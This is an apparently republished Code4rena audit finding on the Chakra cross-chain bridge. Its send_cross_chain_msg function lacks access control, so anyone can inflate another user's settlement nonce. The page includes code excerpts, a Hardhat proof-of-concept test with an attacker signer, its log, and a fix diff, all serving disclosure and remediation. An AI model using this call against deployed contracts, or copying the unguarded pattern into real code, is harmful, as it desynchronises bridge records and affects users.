Skip to content
Access control Audit finding Intermediate

Anyone can manipulate user nonce ( nonce_manager ) in settlement contract

The settlement contract's nonce_manager mapping can be incremented by anyone because the send_cross_chain_msg function is external and lacks access control. An attacker can call it with another user's address as from_address, causing the settlement nonce to diverge from the handler nonce and potentially confusing the system.

13u9 Follow with Agontuk, Daniel_eth and 14 others

Originally disclosed on Code4rena

Submitted by 13u9, also found by joicygiore (1, 2), aldarion (1, 2), Agontuk, pwnforce (1, 2), 0x37 (1, 2), Daniel_eth, Abdessamed (1, 2), kutugu, bhilare_, DPS (1, 2), jasonxiale (1, 2), Cybrid, DanielArmstrong, IzuMan, AllTooWell (1, 2), SBSecurity, Draiakoo, franfran20 (1, 2), Subroutine (1, 2), 0xabhay, 0xpetern, LuarSec, shaflow2 (1, 2, 3), klau5 (1, 2), fyamf (1, 2), gesha17, ZdravkoHr, mojito_auditor, and ABAIKUNANBAEV

Impact

There is a problem that anyone can increase another handler contract nonce (nonce_manager) in settlement contract.

nonce_manager is used to make txid

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/handler/contracts/ChakraSettlementHandler.sol#L139-L150

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/settlement/contracts/ChakraSettlement.sol#L122-L133

            {
                // Increment nonce for the sender
                nonce_manager[msg.sender] += 1;
            }

            uint256 txid = uint256(
                keccak256(
                    abi.encodePacked(
                        chain,
                        to_chain,
                        msg.sender, // from address for settlement to calculate txid
                        address(this), //  from handler for settlement to calculate txid
                        to_handler,
                        nonce_manager[msg.sender]
                    )
                )
            );

txid is generated using several arguments and the nonce_manager[msg.sender] value as shown above.

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/handler/contracts/ChakraSettlementHandler.sol#L212-L222

            emit CrossChainLocked(
                txid,
                msg.sender,
                to,
                chain,
                to_chain,
                address(this),
                to_token,
                amount,
                mode
            );

The handler function emits the corresponding txid value as an event.

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/handler/contracts/ChakraSettlementHandler.sol#L203-L209

    ///Handler code
                // Send the cross chain msg
                settlement.send_cross_chain_msg(
                    to_chain,
                    msg.sender,
                    to_handler,
                    PayloadType.ERC20,
                    cross_chain_msg_bytes
                );

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/settlement/contracts/ChakraSettlement.sol#L118-L133

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/settlement/contracts/ChakraSettlement.sol#L146-L155

///Settlement code
        nonce_manager[from_address] += 1;

        address from_handler = msg.sender;

        uint256 txid = uint256(
            keccak256(
                abi.encodePacked(
                    contract_chain_name, // from chain
                    to_chain,
                    from_address, // msg.sender address
                    from_handler, // settlement handler address
                    to_handler,
                    nonce_manager[from_address]
                )
            )
        );

        emit CrossChainMsg(
            txid,
            from_address,
            contract_chain_name,
            to_chain,
            from_handler,
            to_handler,
            payload_type,
            payload
        );

Before the event emit, the handler function calls settlement.send_cross_chain_msg. The send_cross_chain_msg function of settlement also creates a txid and emits an event using this txid.

Through this process, the handler contract and the settlement contract emit the same txid event.

The system processes this emitted txid to handle the task.

However, there is a vulnerability that allows anyone to manipulate the nonce_manager value used when generating txid in the settlement contract with someone else’s nonce_manager value, which can cause confusion in the system.

Proof of Concept

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/handler/contracts/ChakraSettlementHandler.sol#L139-L150

            uint256 txid = uint256(
                keccak256(
                    abi.encodePacked(
                        chain,
                        to_chain,
                        msg.sender, // from address for settlement to calculate txid
                        address(this), //  from handler for settlement to calculate txid
                        to_handler,
                        nonce_manager[msg.sender]
                    )
                )
            );

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/handler/contracts/ChakraSettlementHandler.sol#L203-L209

                // Send the cross chain msg
                settlement.send_cross_chain_msg(
                    to_chain,
                    msg.sender,
                    to_handler,
                    PayloadType.ERC20,
                    cross_chain_msg_bytes
                );

When the cross_chain_erc20_settlement function is called in the handler contract, a txid is generated and the send_cross_chain_msg function of the settlement contract is called.

        function send_cross_chain_msg(
            string memory to_chain,
            address from_address,
            uint256 to_handler,
            PayloadType payload_type,
            bytes calldata payload
        ) external {
            nonce_manager[from_address] += 1;

            address from_handler = msg.sender;

            uint256 txid = uint256(
                keccak256(
                    abi.encodePacked(
                        contract_chain_name, // from chain
                        to_chain,
                        from_address, // msg.sender address
                        from_handler, // settlement handler address
                        to_handler,
                        nonce_manager[from_address]
                    )
                )
            );

In the send_cross_chain_msg function of the settlement contract, the from_address argument is set to the address of the user who called the cross_chain_erc20_settlement function of the handler set in the handler, the nonce value of the address is increased, and a txid is generated.

Here, the send_cross_chain_msg function is defined as external, so it is a function that can be called by outsiders, and since there is no other access control when increasing the nonce of from_address in nonce_manager, anyone can increase the nonce of a specific user’s settlement contract.

This can cause an imbalance between the handler’s nonce and the settlement’s nonce, potentially causing system confusion.

Also, if the same user of another handler calls the cross_chain_erc20_settlement function, a mismatch between the user nonce of the handler and the settlement will occur.

Test

        it('Test Manipulate another settlement contract user nonce', async () => {
            const [
                sender,
                receiver,
                attacker,
            ] = await hre.ethers.getSigners();
            const { tokenInstance, tokenOperator, codecInstance, settlmentInstance, tokenOwner, settlementHandlerInstance, settlementHnadlerOwner, messageLibTestInstance } = await loadFixture(deploySettlementHandlerFixtureMintBurn);

            const senderAddress = await sender.getAddress()
            const receiverAddress = await receiver.getAddress()
            const settlementHandlerAddress = await settlementHandlerInstance.getAddress()
            const totalAmount = 1000000;
            await tokenInstance.connect(tokenOperator).mint_to(sender, totalAmount);

            const toChain = "dst"
            const toHandler = 1
            const toToken = 1
            const receiverAddressU256 = hre.ethers.toBigInt(Buffer.from(receiverAddress.slice(2), 'hex'))
            const amount = 1000

            await tokenInstance.connect(sender).approve(settlementHandlerAddress, 1000)

            const tx = await settlementHandlerInstance.connect(sender).cross_chain_erc20_settlement(
                toChain,
                toHandler,
                toToken,
                receiverAddressU256,
                amount
            )
            const nonceBefore = await settlmentInstance.nonce_manager(senderAddress);
            console.log("Nonce value in settlement contract before attack:", nonceBefore.toString());

            const payloadType = 5; // Assuming a payload type, e.g., for an ERC20 transfer
            const payload = "0x616263"; // Example payload data ("abc" in hex)
            await(settlmentInstance.connect(attacker).send_cross_chain_msg(
                toChain,
                senderAddress, // sender address to target
                toHandler,
                payloadType,
                payload,
            ));
            const nonceAfter = await settlmentInstance.nonce_manager(senderAddress);
            console.log("Nonce value in settlement contract after attack:", nonceAfter.toString());

            const handlerNonce = await settlementHandlerInstance.nonce_manager(senderAddress);
            console.log("Handler Contract User Nonce: ", handlerNonce.toString());
            expect(nonceAfter).to.be.not.equal(handlerNonce);

        });

https://github.com/code-423n4/2024-08-chakra/blob/main/solidity/handler/test/ChakraSettlementHandler.ts

Write test code in ChakraSettlementHandler.ts file

This test code tests whether the sender’s (user’s) nonce value has been manipulated by the Attacker.

Test log

    ChakraSettlementHandler
        _ Should work in MintBurn mode (1238ms)
    Nonce value in settlement contract before attack: 1
    Nonce value in settlement contract after attack: 2
    Han```dler Contract User Nonce:  1

Recommended Mitigation Steps

Set the nonce value in the settlement contract to be managed by from_handler

    diff --git a/solidity/settlement/contracts/BaseSettlement.sol b/solidity/settlement/contracts/BaseSettlement.sol
    index 7ac72a2..bd2ce00 100644
    --- a/solidity/settlement/contracts/BaseSettlement.sol
    +++ b/solidity/settlement/contracts/BaseSettlement.sol
    @@ -38,7 +38,8 @@ abstract contract BaseSettlement is
         ISettlementSignatureVerifier public signature_verifier;

         // Mapping for nonce manager and validators
    -    mapping(address => uint256) public nonce_manager;
    +    //mapping(address => uint256) public nonce_manager;
    +    mapping(address => mapping(address => uint256)) public nonce_manager;
         mapping(address => bool) public chakra_validators;
         uint256 public validator_count;

    diff --git a/solidity/settlement/contracts/ChakraSettlement.sol b/solidity/settlement/contracts/ChakraSettlement.sol
    index ad764f2..4c2b0c5 100644
    --- a/solidity/settlement/contracts/ChakraSettlement.sol
    +++ b/solidity/settlement/contracts/ChakraSettlement.sol
    @@ -115,9 +115,10 @@ contract ChakraSettlement is BaseSettlement {
             PayloadType payload_type,
             bytes calldata payload
         ) external {
    -        nonce_manager[from_address] += 1;
    +        // nonce_manager[from_address] += 1;

             address from_handler = msg.sender;
    +        nonce_manager[from_handler][from_address] += 1;

             uint256 txid = uint256(
                 keccak256(

Modify nonce_manager as in the code above so that the user’s nonce_manager can increase according to the handler.

This operation prevents an attacker from manipulating someone else’s nonce by pretending to be a handler, and also prevents nonce collisions between other normal handlers.

pidb (Chakra) confirmed

0xsomeone (judge) commented:

The issue class of this submission concerns inconsistencies with regard to the nonce values utilized by the Chakra bridge.

This submission details how it can be maliciously sabotaged, and the remaining submissions detail how the nonces can naturally deviate. I believe that these issues are identical in nature and consider all to merit a high severity rating.


The original report as published on Code4rena, by 13u9. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The send_cross_chain_msg function is external and increments nonce_manager[from_address] without verifying that the caller is authorised to act for from_address.

Impact

This could cause an imbalance between the handler's nonce and the settlement's nonce, potentially causing system confusion, and if the same user of another handler calls cross_chain_erc20_settlement, a mismatch between the user nonce of the handler and the settlement will occur.

What the attacker needed

None

The fix

The nonce should be tracked per handler and per user, for example by using a nested mapping keyed by from_handler and from_address, so that only the handler can increment the user's nonce.

How it was found

  1. A user calls cross_chain_erc20_settlement on the handler, which increments the handler's nonce for that user and calls the settlement's send_cross_chain_msg.
  2. The settlement's send_cross_chain_msg increments nonce_manager[from_address] and emits a CrossChainMsg event with a txid.
  3. An attacker calls the settlement's send_cross_chain_msg directly, passing the victim's address as from_address.
  4. The settlement increments the victim's nonce again, causing the settlement nonce to differ from the handler nonce.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A nonce is a number that should only go up when a specific user sends a transaction, helping to keep transactions in order. Here, a function that increases the nonce can be called by anyone, and it lets the caller specify whose nonce to increase. So an attacker can bump someone else's nonce without their permission, which can make the system's records inconsistent.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by 13u9

View all

1 more disclosed report, best first.

More from Chakra

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.